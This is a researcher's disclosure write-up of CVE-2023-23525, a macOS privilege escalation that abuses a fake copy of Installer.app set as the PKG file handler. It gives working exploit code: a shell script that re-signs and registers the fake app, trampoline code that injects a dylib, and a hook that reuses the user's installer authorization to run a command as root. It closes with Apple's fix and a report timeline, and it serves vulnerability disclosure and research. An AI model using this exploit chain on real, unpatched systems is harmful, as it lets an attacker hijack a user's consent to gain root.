CVE-2023-23525: Get Root via A Fake Installer

A few weeks ago, Rich Trouton noticed a new change in the latest macOS release: macOS Ventura 13.3 alters expected behavior for Finder’s Open With functionality for macOS installer packages. In this post, I want to share a simple LPE vulnerability associated with it and why Apple made the change.

image-20230420185628999

The Attack Idea

As we all know, the PKG file type is widely used to install or deploy software packages. The default way to open a PKG file is the system application: /System/Library/CoreServices/Installer.app.

When we double-click a PKG file, the system installer will ask us to grant root privileges for the installation:

image-20230420185826831

On the other hand, we can change the default application for opening PKG files through the API of LaunchServices framework.

So, can I make a fake installer like the system one and entice the user to grant root privileges as usual?

The answer is yes, you can view the video of my exploit:

https://youtu.be/B74tW7hAcAg

The exploit

Make a fake installer that duplicates the system’s installer and then change the default open method by using an open source tool named swda. Internally, the tool calls the API LSSetDefaultRoleHandlerForContentType from LaunchService.framework.

#!/bin/sh

# duplicate the Installer.app from the system
cp -r /System/Library/CoreServices/Installer.app /Applications
# remove its signature
codesign --remove-signature /Applications/Installer.app

# replace the app executable with my trampoline, which set DYLD environment variable to launch the original macho with libfishhook.dylib injected.
mv trampoline /Applications/Installer.app/Contents/MacOS/
mv libfishhook.dylib /tmp
plutil -replace CFBundleExecutable -string 'trampoline' /Applications/Installer.app/Contents/Info.plist

# replace the bundle ID
plutil -replace CFBundleIdentifier -string 'com.hacker.installer' /Applications/Installer.app/Contents/Info.plist

# resign with adhoc
codesign -f -s - /Applications/Installer.app/Contents/MacOS/Installer
codesign -f -s - /Applications/Installer.app

# register the new faked Installer
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -f /Applications/Installer.app

# now set the pkg file handler to our fake installer 
./swda setHandler --UTI com.apple.installer-package-archive --app /Applications/Installer.app

The main executable of my fake installer is a trampoline to the real installer, with a DYLIB injected:

#!/usr/bin/env python3
import os, subprocess
os.environ['DYLD_INSERT_LIBRARIES'] = '/tmp/libfishhook.dylib'
subprocess.call('/Applications/Installer.app/Contents/MacOS/Installer')

Considering that python3 does not exist by default now, here is the code to build a Macho executable:

#include <stdlib.h>
#include <unistd.h>

int main(int argc, const char * argv[]) {
    setenv("DYLD_INSERT_LIBRARIES", "/tmp/libfishhook.dylib", 1);
    execl("/Applications/Installer.app/Contents/MacOS/Installer", "/Applications/Installer.app/Contents/MacOS/Installer", 0);
    return 0;
}

Finally, the injected libfishhook.dylib just hooks one API method AuthorizationCopyRights:

OSStatus my_AuthorizationCopyRights(AuthorizationRef authorization,
    const AuthorizationRights *rights, const AuthorizationEnvironment * __nullable environment,
    AuthorizationFlags flags, AuthorizationRights * __nullable * __nullable authorizedRights) {
    OSStatus status = ori_AuthorizationCopyRights(authorization, rights, environment, flags, authorizedRights);
    NSLog(@"got authorization:%p from AuthorizationCopyRights, status:%d", authorization, status);
    
    NSLog(@"Now run payload with root privileges");
    char *args[] = {"/Library/lpe", NULL};
    AuthorizationExecuteWithPrivileges(authorization, "/usr/bin/touch", 0, args, NULL);
    
    return status;
}

In the hooked method, just after the user grants permission to install his own software package, I can abuse the authorization object for privilege escalation. Actually, the root privilege is granted by user directly.

The full proof of concept for this exploit is uploaded on GitHub for research purpose only.

Fix in macOS 13.3

As the blog said, Apple now does not allow users to change the default application of PKG files.

Sorry, it’s my bad for the inconvenience, but it’s the price of security. 🤣

Timeline

Date Action
2022-08-05 Report sent to Apple
2022-08-18 Apple said they can’t reproduce the issue and asked for a sysdiagnose
2022-08-18 Sysdiagnose provided
2022-08-19 Apple said they encountered an error “no application found”
2022-08-19 I compressed my fake Installer application and sent it to Apple
2023-03-14 Apple told me the issue will be addressed in an upcoming release
2023-03-27 Apple assigned CVE-2023-23525 to this report
Written on April 20, 2023